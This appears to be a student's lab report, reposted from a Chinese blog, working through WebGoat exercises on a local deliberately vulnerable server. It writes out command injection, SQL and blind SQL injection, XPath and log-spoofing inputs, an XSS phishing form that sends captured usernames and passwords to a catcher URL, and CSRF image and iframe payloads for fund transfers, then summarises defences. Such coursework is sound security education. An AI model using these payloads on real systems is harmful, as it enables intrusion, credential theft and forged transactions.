Exp9 Web安全基础 ————20164316张子遥
Posted talank
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Exp9 Web安全基础 ————20164316张子遥相关的知识,希望对你有一定的参考价值。
一、实验内容
- 本实践的目标理解常用网络攻击技术的基本原理。
- 做不少于7个题目,包括SQL,XSS,CSRF。
- Webgoat实践下相关实验。
二、实验具体步骤
(一)环境配置
1.安装WebGoat
从学长博客的云盘里下载了WebGoat,输入命令java -jar webgoat-container-7.1-exec.jar运行WebGoat
2.然后在浏览器中打开http://localhost:8080/WebGoat进入登录界面:
3.然后发现并没有左边的课程之类的。询问了同学发现是JDK的问题,需要下载版本低一点的JDK。以下是JDK安装过程
(1)将下载好的JDK包提取出来,开始拷贝目录 ,手动安装 (注意文件夹名根据自己的实际情况来设定)
sudo mkdir -p /usr/local/java
cp -r jdk-8u11-linux-x64/ /usr/local/java/
(2)配置JDK的环境变量输入命令 sudo gedit /etc/profile ,复制以下内容追加到文件末尾(注意文件夹名根据自己的实际情况来设定)
JAVA_HOME=/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11 PATH=$PATH:$HOME/bin:$JAVA_HOME/bin export JAVA_HOME export PATH
(3)告诉系统JDK的位置,并设置新的JDK为默认。(命令需要输两次,执行两次)
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws" 1
sudo update-alternatives --set java /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java sudo update-alternatives --set java /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java sudo update-alternatives --set javac /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac sudo update-alternatives --set javac /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac sudo update-alternatives --set javaws /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws sudo update-alternatives --set javaws /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws
(4)重载Profile文件,输入命令 java -version 查看Java版本号
(5)成功访问webgoat
(二)SQL注入攻击
1.命令注入(Command Injection)
原理:在正常的参数提交过程中,添加恶意的代码,从而获得一些信息。
(1)右键表单选择框的下拉框,选择Inspect Element(Q),然后修改源代码,在任意位置加上 & netstat -an & ipconfig
(2)点击网页中的 view 按钮,就能在网页下面看到系统的网络连接情况了
2.数字型SQL注入(Numeric SQL Injection)
原理大概就是这里有一个SQL语句 SELECT * FROM weather_data WHERE station = [station] ,可以拦截报文将station字段后补充成一个永真式101 OR 1=1。
(1)右键网页,点击inspect Element
,查看并编辑网页源代码,在option value
中加入恒等真式or 1=1
(2)由于1=1恒成立,点击go,看到所有城市的天气,成功。
3.Log Spoofing
日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志。
(1)在Username输入 20164316%0d%0aLogin Succeeded for username: admin 其中%0d和%0a为CRLF换行符
(2)点击login in
就可以看到成功啦
4.XPATH Injection
意思大概是你的账号是Mike/test123,目标是尝试查看其他员工的数据,通过尝试构造永真式来实现。
(1)在User Name
中输入永真式 4316zzy ‘ or 1=1 or ‘a‘ =‘a
(2)点击submit
就可以看到所有员工的数据了
5.LAB: SQL Injection之String SQL Injection
原理:应用程序会将您的输入带入后台的 SQL 查询语句,使用SQL注入绕过认证。
(1)由于密码的长度有限制,所以我们先修改密码输入框的允许输入长度。将maxlength
设置为25甚至更大。
(2)就可以以admin
的身份登录,密码框里输入 ‘ or 1=1 -- ,然后就能成功以John
的身份登录成功。可以查看任意用户的信息等等。
6.LAB: SQL Injection之Numeric SQL Injection
绕过认证执行SQL注入,使登录Larry账户,但是能查看Boss的信息。和之前的想法一样,我们只需将employee_id参数修改为: 101 or 1=1 order by salary desc
7.Blind Numeric SQL Injection
数字盲注,有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL语句的条件判断,进行盲注。
(1)使用盲注进行爆破,在“Enter your Account Number”输入101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
(2)如果页面提示帐号有效,说明 PIN>10000
否则PIN<=10000
。不断调整数值,可以缩小判断范围,并最终判断出 PIN 数值的大小。
(3)最终如下语句返回帐号有效:
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) = 2364 );
8.Blind String SQL Injection
使用盲注进行爆破,在“Enter your Account Number”输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) = ‘h‘ );
根据返回的提示来判断name的范围,直至返回成功,然后把Jill输入表单,提交,如下图所示:
(三)Cross-Site Scripting (XSS)
1.Phishing with XSS
(1)使用XSS和html插入制作一个钓鱼网站,代码如下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br><br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
(2)点击search
后,下拉网页就可以看到输入框了,在里面输入任意字符,点击login
,就可以看到攻击成功了
2.Stored XSS Attacks
最典型的储存型XSS的例子——留言板,因为可以输入任何信息,如果有人进行了恶意留言,那么之后的人便会中招。
(1)在Title里输入“Test Stored XSS”,在 Message里输入
<script>alert("20164316zzy!");</script>
(2)点击生成的留言板就能攻击成功。
3.Reflected XSS Attacks
(1)在Enter your three digit access code
中输入如下代码: <script>alert(‘20164316zhangziyao attack!‘)</script> 。
(2) 点击Purchase
,成功显示警告框,内容为我们script脚本写的20164316zhangziyao attack!。攻击成功。
(四)CSRF
1.Cross Site Request Forgery(CSRF)
实验目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。
(1)在Title输入:4316zzy,在Message输入:
<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />
(2)点击“Submit”,在Message List下出现一条提交的记录,点击该链接,当前页面就会下载这个消息并显示出来。
2.CSRF Prompt By-Pass
(1)在Title输入:20164316zzy;在Message输入:
<iframe src="attack?Screen=280&menu=900&transferFunds=5000" id="myFrame" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300" onload="document.getElementById(‘frame2‘).src=‘attack?Screen=280&menu=900&transferFunds=CONFIRM‘;"> </iframe> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"> </iframe>
(2)点击“Submit”,在Message List下出现一条提交的记录,点击该链接
三、实践基础问答
(1)SQL注入攻击原理,如何防御
- 原理:
程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,攻击者利用SQL命令欺骗服务器执行恶意的SQL命令,获得某些他想得知的数据。 - 防御:
就像我们上次做实验对网页登陆的账户做了密码长度的限制,可以限制输入的长度、检查输入变量的数据类型,限制特殊字符的输入,把用户输入的or, –,‘;等关键字和特殊字符都过滤了,或者用语言内建的安全机制(比如说 JDBC 的PreparedStatement就可以很大程度的防止 SQL 注入)
(2)XSS攻击的原理,如何防御
- 原理:
XSS攻击全称跨站脚本攻击,也由于没有对用户输入数据的合法性进行判断,攻击者在网页上插入恶意代码,攻击用户。 - 防御:
与防御SQL注入一样,可以通过检查用户的输入字符串,并做出限制。
(3)CSRF攻击原理,如何防御
- 原理:
跨站请求伪造,攻击者通过伪造身份等方式来达到一些非法目的,以你的名义来发送恶意请求。 - 防御:
使用验证码,表单中附加随机值,以此来防止冒充。
四、实践总结与体会
这是最后一次实验了,通过webgoat深入理解并运用了多种攻击,尝试了很多东西,可以说是非常有意思了,当然也碰到了很多问题,但是发现沉下心来认真解决还是很有成就感的!虽然有一些浪费时间...总的来说,这门课我收获良多,虽然也许在现实中并不能成功攻击他人,但是能够认识并且做出相应的防范了。学习到了不少的东西,也进行了多次的实践与尝试。
以上是关于Exp9 Web安全基础 ————20164316张子遥的主要内容,如果未能解决你的问题,请参考以下文章